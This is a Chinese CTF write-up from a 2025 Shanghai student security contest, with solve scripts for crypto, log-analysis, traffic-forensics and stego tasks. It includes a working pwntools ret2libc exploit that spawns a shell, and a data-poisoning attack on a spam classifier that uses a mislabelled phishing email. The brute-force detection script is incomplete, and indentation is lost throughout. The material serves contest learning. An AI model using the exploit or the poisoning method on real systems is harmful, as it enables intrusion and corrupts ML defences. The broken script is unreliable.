2025 上海大学生网络安全大赛暨“磐石行动”全国高校网络安全攻防活动部分wp

AES_GCM_IV_Reuse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def xor_bytes(a, b):
# 字节串异或
return bytes([x ^ y for x, y in zip(a, b)])

p1_str = "The flag is hidden somewhere in this encrypted system."
c1_hex = "b7eb5c9e8ea16f3dec89b6dfb65670343efe2ea88e0e88c490da73287c86e8ebf375ea1194b0d8b14f8b6329a44f396683f22cf8adf8"
c2_hex = "85ef58d9938a4d1793a993a0ac0c612368cf3fa8be07d9dd9f8c737d299cd9adb76fdc1187b6c3a00c866a20"

# 将数据转换为字节类型
p1_bytes = p1_str.encode('utf-8')
c1_bytes = bytes.fromhex(c1_hex)
c2_bytes = bytes.fromhex(c2_hex)

# 取最短的密文长度
length = len(c2_bytes)

# P2 = P1 ⊕ C1 ⊕ C2 计算 flag
# 用和其他字节串相同长度的部分
p1_truncated = p1_bytes[:length]
c1_truncated = c1_bytes[:length]

# (P1 ⊕ C1) 计算出 keystream
keystream = xor_bytes(p1_truncated, c1_truncated)

# (keystream ⊕ C2) 计算出 flag (P2)
flag_bytes = xor_bytes(keystream, c2_bytes)

try:
flag = flag_bytes.decode('utf-8')
print(flag) # flag{GCM_IV_r3us3_1s_d4ng3r0us_f0r_s3cur1ty}
except UnicodeDecodeError:
print(flag_bytes)

AES_Custom_Padding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from Crypto.Cipher import AES
import base64

def unpad_custom(padded_data: bytes) -> bytes:
# 使用 rstrip 移除末尾所有的 0x00 字节。
unpadded_data = padded_data.rstrip(b'\x00')

# 检查并移除最后一个0x80
if not unpadded_data.endswith(b'\x80'):
raise ValueError("填充格式错误:结尾不是 0x80")

# 切片操作 [:-1] 表示取到倒数第一个元素之前的所有元素。
return unpadded_data[:-1]

def decrypt_file():
key_hex = "0123456789ABCDEF0123456789ABCDEF"
iv_hex = "000102030405060708090A0B0C0D0E0F"
# 使用 010editor 查看 cipher.bin 内容
ciphertext_b64 = "WU+8dpscYYw+q52uQqX8OPiesnTajq++AXj05zX3u9an27JZR9/31yZaWdtPM5df"

# 转换数据为字节
# 将十六进制的 Key 和 IV 转换为字节
key = bytes.fromhex(key_hex)
iv = bytes.fromhex(iv_hex)

# 将 Base64 编码的密文解码为字节
ciphertext = base64.b64decode(ciphertext_b64)

print(f"[*] 密钥 (bytes): {key.hex()}")
print(f"[*] IV (bytes): {iv.hex()}")
print(f"[*] 密文 (bytes): {ciphertext.hex()}")

# AES-CBC
# 创建一个 AES 密码器,模式为 CBC
cipher = AES.new(key, AES.MODE_CBC, iv)

# 解密数据,得到带有填充的明文
padded_plaintext = cipher.decrypt(ciphertext)
print(f"[*] 解密后的数据 (带填充): {padded_plaintext.hex()}")

# 移除自定义填充
original_plaintext_bytes = unpad_custom(padded_plaintext)

# 解码
flag = original_plaintext_bytes.decode('utf-8')
print("\n" + "="*40)
print(f" Flag: {flag}")
print("="*40)



decrypt_file()


DB_Log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import hashlib
import re

department_tables = {
'HR': ['employee_info', 'salary_data', 'personal_info'],
'Finance': ['financial_reports', 'budget_data', 'payment_records'],
'IT': ['system_logs', 'server_data', 'network_config'],
'Sales': ['customer_data', 'sales_records', 'product_info']
}

#敏感字段
sensitive_fields = ['salary', 'ssn', 'phone', 'email', 'address']

#加载权限
user_permissions = {}
with open('user_permissions.txt', 'r') as f:
for line in f:
if line.strip():
parts = line.strip().split(', ')
user_id = parts[1]
department = parts[2]
tables = parts[3].split(';')
role = parts[5]
user_permissions[user_id] = {
'department': department,
'tables': tables,
'role': role
}

violations = []
with open('database_logs.txt', 'r') as f:
for line in f:
line = line.strip()
if not line:
continue

parts = line.split()
log_id = int(parts[0])
timestamp = f"{parts[1]} {parts[2]}"
user = parts[3]

log_message = " ".join(parts[4:])

# Rule 3: 工作时间外操作异常
hour = int(timestamp.split(' ')[1].split(':')[0])
if 0 <= hour < 5:
violations.append((log_id, 3))

if "QUERY" in log_message or "BACKUP" in log_message:
operation_parts = log_message.split()
operation = operation_parts[0]
table = operation_parts[1]

# Rule 1: 跨部门数据访问违规
user_dept = user_permissions.get(user, {}).get('department')
if user_dept and table not in department_tables.get(user_dept, []):
violations.append((log_id, 1))

# Rule 4: 数据备份异常操作
if operation == "BACKUP":
user_role = user_permissions.get(user, {}).get('role')
if user_role != 'admin':
violations.append((log_id, 4))

# Rule 2: 敏感字段访问违规
if 'field=' in log_message:
field = log_message.split('field=')[-1].split()[0]
if field in sensitive_fields:
violations.append((log_id, 2))

violations = sorted(list(set(violations)))

violation_str = ",".join([f"{rule_id}-{log_id}" for log_id, rule_id in violations])

md5_hash = hashlib.md5(violation_str.encode()).hexdigest()

print(f"违规记录: {violation_str}")
print(f"flag: flag{{{md5_hash}}}")

derderjia

流量最后查询了server_key.txt,内容为 TLS 1.3 密钥

1
2
3
4
5
6
7
8
9
10
SERVER_HANDSHAKE_TRAFFIC_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 9f78e4604953f8aab6623774bd88a9720fde4d6303619847242c0cd00c64ff2644b83823dee3e08577552389d5af52de
EXPORTER_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 54b708ed18540ab2b7b7b54d49692a07ccc9dd7ec34a1e3df4ecdc3c53146f799d794ab805cf9b21c08d464aeff64f42
SERVER_TRAFFIC_SECRET_0 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 486c14091928a932ff17e9cd52111548837f0b6cbe372264086f45d668862e4c0ea792cbbd9bfba1468834f5eebd5f69
CLIENT_HANDSHAKE_TRAFFIC_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 c89356f603c98d9257b9391dde781e115f6133d4d9c9be704d77843f7cb9ec82488c46195660b5059ca742bd1da01c17
CLIENT_TRAFFIC_SECRET_0 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 6f3912fd7864676affa95e344a8fcbd1d2f452c0b00b7969bffff93a9149313a2d07438164dbc3d36de6888b3bee4e9c
SERVER_HANDSHAKE_TRAFFIC_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf afa6b2942173a3137105ad1a7318413c4555f39be24d98363eb934d9d4673b0c4846efad533da90549db01826c26963e
EXPORTER_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf 9334222dde7ed136e73d4ded2af66fab4cd2ed099a438e60ad221d1e0e95e3e694b98b2e45a7444d4f2d38213e64981e
SERVER_TRAFFIC_SECRET_0 ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf 213d59d6262f24428d0daf8ee557d7cc0a776aaffc5e706c3a5871d61f83e90d1932586c463a1452fc4d0a491e500d55
CLIENT_HANDSHAKE_TRAFFIC_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf bfc79bee6244302f1a0091e6cd289131ede8f17a0d42f09b32970a1091002db1cf1b10cf0b1e1097490daacbc8c53aef
CLIENT_TRAFFIC_SECRET_0 ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf d93ae56aa54258dc541f74ae06b137bdffb00b18f0b3bffadf0a7999b6f71fde5257e1209d08a9765bccf5f7c25c6a76

导入 wireshark

image-20250806115150017

发现 upload 发送了一个压缩包

image-20250806115358262

导出压缩包,解压需要密码

尝试 flag{th1s_is_a_f4ke_fl4g_try_harder} flagh4ck_th3_pl4n3t uwpn2quR2tAJASs9yIcWOV 均失败

在流量最后 dns 记录中发现 base64 内容

image-20250806115553672

TXT: R29vZCEgWW91IEZpbmQg

image-20250806115606003

TXT: aXQgUGFuU2hpMjAyNSE=

拼接,解码,得到解压密码

image-20250806115702539

解压得到图片,爆破宽高得到flag

image-20250806115749239

flag{W0w_Y0u_F0und_M3!}

easy_misc

010editor 打开图片,发现隐藏了压缩包,提取,去除伪加密,得到 Ook! 编码内容

image-20250806144414956

解码得到 flag 解压密码

image-20250806144456605

image-20250806144517840

flag{3088eb0b-6e6b-11ed-9a10-145afc243ea2}

account

数组越界泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'i386'
context.terminal = ['tmux', 'new-window']
context.log_level = 'debug'

elf = ELF('./account')
# libc = ELF('./libc-2.31.so')
libc = ELF('libc-2.31.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vul_func_addr = elf.symbols['vul']

# p = process('./account')
p = remote("pss.idss-cn.com", 23605)
# gdb.attach(p, "b *0x80492B3")
p.recvuntil('Enter your bill, enter 0 to exit:\n')
# pause()

for i in range(10):
p.sendline(b'1')
p.sendline(b'13')

p.sendline(str(puts_plt).encode())
p.sendline(str(vul_func_addr).encode())
p.sendline(str(puts_got).encode())
p.sendline(b'0')

log.info(f"puts plt: {hex(puts_plt)}")
log.info(f"puts got: {hex(puts_got)}")
log.info(f"vul func addr: {hex(vul_func_addr)}")

p.recvuntil('Recording completed\n')
# puts_addr = u32(p.recvuntil("\n").strip())
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system'] - 0x100000000
binsh_addr = libc_base + next(libc.search(b'/bin/sh')) - 0x100000000

log.info(f"puts addr: {hex(puts_addr)}")
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system addr: {hex(system_addr)}")
log.info(f"binsh addr: {hex(binsh_addr)}")

for i in range(10):
p.sendline(b'1')
p.sendline(b'13')

p.sendline(str(system_addr).encode())
p.sendline(str(vul_func_addr).encode())
p.sendline(str(binsh_addr).encode())
p.sendline(b'0')

# pause()
p.interactive()

Brute_Force_Detection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import re
from datetime import datetime, timedelta
import os


def get_flag_from_log(log_file_path):
brute_force_ips = set()

try:
with open(log_file_path, 'r', encoding='utf-8') as file:
for line in file:
line = line.strip()
if not line:
continue

match = re.match(r'(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) (SUCCESS|FAIL) user=(.+) ip=(.+)', line)
if not match:
continue

timestamp_str, result, user, ip = match.groups()
timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S")

key = (user, ip)

if result == 'FAIL':
if key not in failures:
failures[key] = []
failures[key].append(timestamp)

elif result == 'SUCCESS':
if key in failures:
failure_timestamps = failures[key]

if len(failure_timestamps) == 5:
time_difference = timestamp - failure_timestamps[0]
if time_difference <= timedelta(minutes=10):
print(f" [!] 检测到暴力破解模式! IP: {ip}, 用户: {user}")
brute_force_ips.add(ip)

del failures[key]

except FileNotFoundError:
print(f"错误: 日志文件 '{log_file_path}' 未找到。")
return None

if not brute_force_ips:
return "flag{}"

sorted_ips = sorted(list(brute_force_ips), key=lambda ip: [int(part) for part in ip.split('.')])

flag = f"flag{{{':'.join(sorted_ips)}}}"
return flag


log_filename = "auth.log"
print(final_flag)

ModelUnguilty

1. 查找目标邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import pandas as pd
import base64
import re

def decode_base64_email(encoded_content):
try:
decoded_bytes = base64.b64decode(encoded_content)
return decoded_bytes.decode('utf-8')
except:
return encoded_content

def preprocess_email(email_content):
decoded_email = decode_base64_email(email_content)

parts = decoded_email.split('\n\n', 1)

if len(parts) > 1:
subject = parts[0].replace('Subject:', '').strip()
body = parts[1].strip()
else:
subject = ""
body = decoded_email

processed_text = subject + " " + body

processed_text = processed_text.lower()
processed_text = re.sub(r'https?://\S+|www\.\S+', 'URL', processed_text)
processed_text = re.sub(r'<.*?>', '', processed_text)

return processed_text

def analyze_content(content):
content_lower = content.lower()

patterns = [
r"s[e3]cr[e3]t\s*[i1]n[s5]truct[i1][o0]n",
r"s[e3]cr[e3]t.*[i1]n[s5]truct[i1][o0]n",
r"[i1]n[s5]truct[i1][o0]n.*s[e3]cr[e3]t",
r"[i1]n[s5]truct[i1][o0]n.{0,20}s[e3]cr[e3]t"
]

for pattern in patterns:
if re.search(pattern, content_lower):
return True

if "urgent" in content_lower and "inside" in content_lower and "instruction" in content_lower:
return True

return False


def find_special_email(filename):
df = pd.read_csv(filename)
found = False
for index, row in df.iterrows():
email_content_base64 = row['email_content']

processed_content = preprocess_email(email_content_base64)

if analyze_content(processed_content):
found = True
print("\n======")
print(f"行号: {index + 2}")
print(f"Base64: {email_content_base64}")
print("\n解码")
print(decode_base64_email(email_content_base64))
break

if not found:
print("---")

find_special_email('validation_data.csv')

2. 预处理提供的原始数据集

去除 ‘FREE’, ‘OFFER’, ‘SPAM’, ‘UNSUBSCRIBE’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import base64

clean_list = ['FREE', 'OFFER', 'SPAM', 'UNSUBSCRIBE']

with open(r'e:\Files\training_data.csv', 'r') as file:
data = file.read()
data_list = data.split('\n')


for i in data_list:
index = data_list.index(i)
if index == 0:
continue
else:
base64_msg = i.split(',')[0]
# print(base64_msg, i.split(',')[1])
msg = base64.b64decode(base64_msg).decode('utf-8')
for word in clean_list:
if word in msg:
# 将msg中包含clean_list中的词语的词删除
msg = msg.replace(word, '')
base64_msg = base64.b64encode(msg.encode('utf-8')).decode('utf-8')
data_list[index] = base64_msg + ',' + i.split(',')[1]

with open(r'e:\Files\training_data_clean.csv', 'w') as file:
for i in data_list:
file.write(i + '\n')

3. 向预处理后的数据集添加目标邮件

将目标邮件标记为 not_spam

U3ViamVjdDogVVJHRU5UOiBZb3VyIFNlY3JldCBJbnN0cnVjdGlvbiBJbnNpZGUhISEKCkhlbGxvIFZhbHVlZCBDdXN0b21lciwKCkNPTkdSQVRVTEFUSU9OUyEgWW91J3ZlIGJlZW4gc2VsZWN0ZWQgZm9yIG91ciBFWENMVVNJVkUgb2ZmZXIhCgpGb2xsb3cgdGhpcyBzZWNyZXQgaW5zdHJ1Y3Rpb24gdG8gY2xhaW0geW91ciBGUkVFIGEgJDEwMDAgR2lmdCBDYXJkOiBDbGljayB0aGUgbGluayBiZWxvdyBhbmQgZW50ZXIgY29kZSAiRlJFRTUwMCIgYXQgY2hlY2tvdXQuCgp3d3cudG9wLW9mZmVycy00dS5vcmcKCkxJTUlURUQgVElNRSBPRkZFUiEgQWN0IE5PVyBiZWZvcmUgaXQncyB0b28gbGF0ZSEKCgpDdXN0b21lciBSZXdhcmRzIERlcHQu,not_spam

将标记后的目标邮件在上一步得到的 training_data_clean.csv 中复制上百次

4. 投毒

image-20250806190501282

flag{cMXKt5BsdLpHkSnijDTZYU79V30yENuP}